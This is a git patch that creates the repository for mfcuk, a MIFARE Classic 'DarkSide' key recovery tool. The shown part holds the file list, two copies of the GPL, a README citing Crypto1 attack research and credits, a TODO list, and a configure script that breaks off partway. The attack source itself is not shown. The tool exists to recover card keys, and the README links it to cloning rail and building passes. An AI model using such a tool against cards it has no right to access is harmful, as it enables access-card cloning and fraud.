From 9f75cc95cce1ca3e520614ea9007e55f44e43b8c Mon Sep 17 00:00:00 2001 From: zveriu Date: Tue, 30 Mar 2010 18:11:31 +0000 Subject: [PATCH] Initial move from tk-libnfc-crapto1 to mfcuk --- AUTHORS | 1 + COPYING | 339 ++++ ChangeLog | 0 LICENSE | 339 ++++ Makefile.am | 4 + NEWS | 0 README | 45 + TODO | 19 + configure.ac | 68 + src/Makefile.am | 7 + src/bin/libnfc.dll | Bin 0 -> 22016 bytes src/bin/libnfc.lib | Bin 0 -> 10218 bytes src/bin/mfcuk_keyrecovery_darkside_cygwin.exe | Bin 0 -> 48733 bytes src/bin/mfcuk_keyrecovery_darkside_win32.exe | Bin 0 -> 40960 bytes src/build_cygwin.sh | 6 + src/crapto1.c | 487 +++++ src/crapto1.h | 92 + src/crypto1.c | 93 + src/mfcuk_keyrecovery_darkside.c | 1641 +++++++++++++++++ src/mfcuk_keyrecovery_darkside.h | 125 ++ src/mfcuk_mifare.c | 560 ++++++ src/mfcuk_mifare.h | 140 ++ src/mfcuk_utils.c | 81 + src/mfcuk_utils.h | 104 ++ src/xgetopt.c | 223 +++ src/xgetopt.h | 23 + 26 files changed, 4397 insertions(+) create mode 100644 AUTHORS create mode 100644 COPYING create mode 100644 ChangeLog create mode 100644 LICENSE create mode 100644 Makefile.am create mode 100644 NEWS create mode 100644 README create mode 100644 TODO create mode 100644 configure.ac create mode 100644 src/Makefile.am create mode 100644 src/bin/libnfc.dll create mode 100644 src/bin/libnfc.lib create mode 100644 src/bin/mfcuk_keyrecovery_darkside_cygwin.exe create mode 100644 src/bin/mfcuk_keyrecovery_darkside_win32.exe create mode 100644 src/build_cygwin.sh create mode 100644 src/crapto1.c create mode 100644 src/crapto1.h create mode 100644 src/crypto1.c create mode 100644 src/mfcuk_keyrecovery_darkside.c create mode 100644 src/mfcuk_keyrecovery_darkside.h create mode 100644 src/mfcuk_mifare.c create mode 100644 src/mfcuk_mifare.h create mode 100644 src/mfcuk_utils.c create mode 100644 src/mfcuk_utils.h create mode 100644 src/xgetopt.c create mode 100644 src/xgetopt.h diff --git a/AUTHORS b/AUTHORS new file mode 100644 index 0000000..5c4fd2c --- /dev/null +++ b/AUTHORS @@ -0,0 +1 @@ +Andrei Costin , http://andreicostin.com diff --git a/COPYING b/COPYING new file mode 100644 index 0000000..d511905 --- /dev/null +++ b/COPYING @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/ChangeLog b/ChangeLog new file mode 100644 index 0000000..e69de29 diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d511905 --- /dev/null +++ b/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/Makefile.am b/Makefile.am new file mode 100644 index 0000000..b0326f8 --- /dev/null +++ b/Makefile.am @@ -0,0 +1,4 @@ +SUBDIRS = src + +#pkgconfigdir = $(libdir)/pkgconfig +#pkgconfig_DATA = libnfc.pc diff --git a/NEWS b/NEWS new file mode 100644 index 0000000..e69de29 diff --git a/README b/README new file mode 100644 index 0000000..051862b --- /dev/null +++ b/README @@ -0,0 +1,45 @@ +README +====== + +PACKAGE +------- +MiFare Classic Universal toolKit (MFCUK) + +TOOL(S) +------- +Mifare Classic DarkSide Key Recovery Tool (mfcuk_keyrecovery_darkside.c) (previously known as zv_mf_dark_side) +... + +LICENSE +------- +GPL. See MFCUK_LICENSE for more information. + + +BIBLIOGRPAHY (no specific order) +--------------------------------- +1. [WPMCC09] - "Wirelessly Pickpocketing a Mifare Classic Card" +2. [ESO08] - "2008-esorics.pdf" +3. [ESOSL08] - "2008-esorics-slides-updated.pdf" +4. [KON08] - "2008-koning-thesis.pdf" +5. [VER08] - "2008-verdult-thesis.pdf" +6. [PATMC] - "A Practical Attack on the MIFARE Classic.pdf" +7. [NCOURFIDSEC09] - "mifare_courtois_rfidsec09.pdf" +8. [MFCLTRB09] - "MifareClassicTroubles.ppt" +9. [TEEP08] - "p2008-teepe-classic_mistakes.pdf" +10. [RFIDSANJ] - "RFID Attacks_WCA_San_Jose.pdf" +11. [ROSS] - "rossum-mifare.pdf" +12. [PLOTZ08] - "SAR-PR-2008-21_.pdf" +13. [ROSSSASG] - "SASG35_Peter_v_Rossum_Mifare.pdf" +14. [DARK2009] - "THE DARK SIDE OF SECURITY BY OBSCURITY and Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime" + +KUDOS and HATS-OFF to (no specific order) (for all the knowledge, time spent researching and all the things) +--------------------- + - blapost@gmail.com - this man is a genius and a technical artist. crapto1 3.1 is the horse power of this tool. PS: you somehow resemble I.C.Wiener anonymous&smart hacker + - Roel and RConty @ libnfc/proxmark - these guys are true advisers, helpful. Thanks for providing a powerfull platform for NFC + - N.Curtois - also a crypto-artist in differential analysis. The 29bit prefix attack is pure genius of theoretical analysis. + - RU University Staff for working out different aspects and papers for Crypto1 analysis + - Nohl, Plotz, Evans - how the "F" did you get those slicers and microscopes :))? + - Milosch M et al. - for pushing the limits for open-source hardware (OpenPCD and OpenPICC) + - Jonathan Westhues - for giving the open-source community the: Proxmark schematics/sources and RFID knowledge + - Nethemba team - for first open-source/GPL nested authentication attack key recovery implementation in MFOC + - hat, schwa226, pgrahamm, marcus2608, phadom - for useful samples, advices, traces and all the things diff --git a/TODO b/TODO new file mode 100644 index 0000000..7903d96 --- /dev/null +++ b/TODO @@ -0,0 +1,19 @@ +TODO +==== + +PACKAGE +------- +MiFare Classic Universal toolKit (MFCUK) + +TOOL(S) +------- +Mifare Classic DarkSide Key Recovery Tool (mfcuk_keyrecovery_darkside.c) (previously known as zv_mf_dark_side) +... + +ITEMS +===== +0. Integrate with MFOC into MFCUK +1. Improve the performance (though not bad) +2. Optimize bits operations +3. Remove dead-code/commented block after testing +4. Proper error handling in some cases (not critical errors, but nice to have checks in place) \ No newline at end of file diff --git a/configure.ac b/configure.ac new file mode 100644 index 0000000..0270f88 --- /dev/null +++ b/configure.ac @@ -0,0 +1,68 @@ +# -*- Autoconf -*- +# Process this file with autoconf to produce a configure script. + +AC_PREREQ([2.64]) +AC_INIT([mfcuk], [0.3], [zveriu@gmail.com]) + +AM_INIT_AUTOMAKE + +AC_CONFIG_MACRO_DIR([m4]) + +AC_CONFIG_HEADERS([config.h]) + +m4_ifdef([AM_SILENT_RULES],[AM_SILENT_RULES([yes])]) + +# Checks for libnfc. +WITH_NFC=0 +## Search libnfc with command line option (default prefix: auto) +LIBNFC_PREFIX="auto" +AC_ARG_WITH(libnfc,[--with-libnfc=DIR location of the libnfc], + [if test "$withval" != no; then + if test "$withval" != yes; then + LIBNFC_PREFIX=$withval + fi + fi]) +if test x"$LIBNFC_PREFIX" != "xauto"; then + LIBNFC_CFLAGS="-L$LIBNFC_PREFIX/lib/ -I$LIBNFC_PREFIX/include/" + LIBNFC_LIBS="-lnfc" +fi + +# Search using pkg-config +AC_PATH_PROG(PKG_CONFIG, pkg-config, [AC_MSG_WARN([pkg-config not found.])]) +if test x"$WITH_NFC" = "x0"; then + if test 